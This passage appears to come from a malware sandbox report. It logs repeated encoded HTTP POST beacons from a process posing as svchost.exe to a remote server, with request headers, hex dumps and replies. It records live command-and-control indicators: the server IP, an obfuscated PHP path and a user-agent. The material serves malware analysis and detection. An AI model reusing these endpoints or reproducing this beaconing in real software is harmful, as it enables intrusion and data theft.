                                                                      Aug 28, 2024 11:18:33.362854958 CEST2504OUTData Raw: 5b 5b 5e 5b 5d 5c 59 57 5b 57 5a 59 52 5c 54 56 54 50 5e 5d 57 53 5a 5f 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [[^[]\YW[WZYR\TVTP^]WSZ_\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS",->;' ]29$_!,R->48'5+*6]!?9\+"Y %X!+
                                                                      Aug 28, 2024 11:18:33.667917013 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:33.803612947 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:33 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      85192.168.2.760192185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:33.929533958 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:34.284923077 CEST2512OUTData Raw: 5b 51 5e 5f 5d 5c 5c 52 5b 57 5a 59 52 5d 54 5c 54 5a 5e 5f 57 55 5a 55 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Q^_]\\R[WZYR]T\TZ^_WUZU\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!E/1.\+8'4=;2:4Z 8<V9(= ;$0?"Z(-!%^+)"Y %X!'
                                                                      Aug 28, 2024 11:18:34.551017046 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:34.684633017 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:34 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      86192.168.2.760193185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:34.816545963 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:35.175587893 CEST2512OUTData Raw: 5e 52 5e 5a 58 5d 5c 50 5b 57 5a 59 52 58 54 57 54 50 5e 53 57 54 5a 58 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^R^ZX]\P[WZYRXTWTP^SWTZX\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS".2^?(Y . ^10^5(4:R#0Z2*:!"9Z?9"Y %X!3
                                                                      Aug 28, 2024 11:18:35.515465021 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:35.649359941 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:35 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      87192.168.2.760194185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:35.769516945 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:36.128606081 CEST2512OUTData Raw: 5b 5a 5b 59 5d 5c 59 56 5b 57 5a 59 52 5f 54 51 54 5b 5e 52 57 5e 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Z[Y]\YV[WZYR_TQT[^RW^ZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!@82++$ <X&36W-*4(]'*9"!<=<9"Y %X!/
                                                                      Aug 28, 2024 11:18:36.476593018 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:36.604764938 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:36 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      88192.168.2.760195185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:36.725205898 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:37.081623077 CEST2512OUTData Raw: 5b 5a 5e 58 58 5f 59 53 5b 57 5a 59 52 5b 54 52 54 5e 5e 5d 57 54 5a 54 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Z^XX_YS[WZYR[TRT^^]WTZT\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS",T2>84##')/!$S,+P#(?&,%+:"6><"Y %X!
                                                                      Aug 28, 2024 11:18:37.410181999 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:37.542004108 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:37 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      89192.168.2.760196185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:37.660911083 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      90192.168.2.760197185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:37.744136095 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1844
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:38.097290993 CEST1844OUTData Raw: 5b 53 5e 59 58 5f 59 5b 5b 57 5a 59 52 5e 54 50 54 5c 5e 52 57 50 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [S^YX_Y[[WZYR^TPT\^RWPZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!A;:<8^44Y'90Y";;:]:Q (<X',!(*=!9*)"Y %X!+
                                                                      Aug 28, 2024 11:18:38.472733021 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:38.606426001 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:38 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 27 04 20 13 3c 09 32 33 38 1e 2e 38 32 56 3e 12 37 06 29 32 3b 05 27 2e 3b 0a 33 06 20 57 27 28 2f 08 24 31 31 16 30 13 2f 13 32 1c 2d 5f 06 11 25 40 34 28 26 00 38 31 2c 11 29 2d 2c 58 36 2d 28 01 3e 0d 36 0c 20 3e 28 07 3d 05 35 09 2f 1f 03 53 3d 3a 00 5e 2f 2d 34 56 26 10 21 52 0c 17 22 18 3f 39 2c 5c 37 5e 36 57 25 32 01 54 34 01 21 1d 30 06 3c 08 27 14 2c 52 2b 28 16 52 25 07 34 54 26 28 29 5c 27 2c 2b 54 2e 39 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: ' <238.82V>7)2;'.;3 W'(/$110/2-_%@4(&81,)-,X6-(>6 >(=5/S=:^/-4V&!R"?9,\7^6W%2T4!0<',R+(R%4T&()\',+T.9.S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      91192.168.2.760198185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:37.865628004 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2500
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:38.222163916 CEST2500OUTData Raw: 5b 5b 5e 55 5d 5a 59 5b 5b 57 5a 59 52 5c 54 54 54 5d 5e 5d 57 5e 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [[^U]ZY[[WZYR\TTT]^]W^ZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS".12\++4_!.X&)4 ;,98>Q#8'&,=?:6]#<?"Y %X!7
                                                                      Aug 28, 2024 11:18:38.491688967 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:38.620599031 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:38 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      92192.168.2.760199185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:38.745342970 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:18:39.097258091 CEST2512OUTData Raw: 5b 53 5e 5f 5d 5e 5c 56 5b 57 5a 59 52 54 54 54 54 5b 5e 5f 57 57 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [S^_]^\V[WZYRTTTT[^_WWZ^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS".12?$] >?&964,(&Q!8<\$[?)*Y"?%]+9"Y %X!
                                                                      Aug 28, 2024 11:18:39.461030006 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:39.620690107 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:39 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      93192.168.2.760200185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:39.773228884 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:40.128475904 CEST2512OUTData Raw: 5e 55 5e 59 5d 5b 59 5b 5b 57 5a 59 52 58 54 53 54 5d 5e 52 57 5f 5a 5c 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^U^Y][Y[[WZYRXTST]^RW_Z\\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!,T6]>8 ^4=;%,!8<U-+!!+8Z&?1(*&X5Z%Z*9"Y %X!3
                                                                      Aug 28, 2024 11:18:40.431114912 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:40.566282034 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:40 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      94192.168.2.760201185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:40.696518898 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:41.050393105 CEST2512OUTData Raw: 5b 54 5e 54 5d 5d 59 5a 5b 57 5a 59 52 59 54 51 54 5e 5e 5e 57 51 5a 58 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [T^T]]YZ[WZYRYTQT^^^WQZX\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!B;2+ .,&05(7-(:P $Z')?:[6,:*9"Y %X!7
                                                                      Aug 28, 2024 11:18:41.410175085 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:41.548600912 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:41 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      95192.168.2.760202185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:41.676985025 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2504
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:42.034825087 CEST2504OUTData Raw: 5e 56 5e 5c 5d 5d 59 5a 5b 57 5a 59 52 5c 54 56 54 5f 5e 5e 57 5f 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^V^\]]YZ[WZYR\TVT_^^W_ZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!,T1?(#!>(Y2)/!;/,(:#(8'Z.X+96]6/![(9"Y %X!+
                                                                      Aug 28, 2024 11:18:42.348088026 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:42.480710030 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:42 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      96192.168.2.760203185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:42.613528967 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:42.972265959 CEST2512OUTData Raw: 5b 53 5e 5d 58 5d 59 52 5b 57 5a 59 52 59 54 57 54 58 5e 53 57 55 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [S^]X]YR[WZYRYTWTX^SWUZ[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS",!1?(,\7$]')" -;Q 8',!+::\"Z:+"Y %X!7
                                                                      Aug 28, 2024 11:18:43.243555069 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:43.376948118 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:43 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      97192.168.2.760204185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:43.508903027 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      98192.168.2.760205185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:43.619127035 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1820
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:43.972233057 CEST1820OUTData Raw: 5b 53 5e 5f 58 5d 59 53 5b 57 5a 59 52 5a 54 5c 54 5a 5e 5c 57 53 5a 55 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
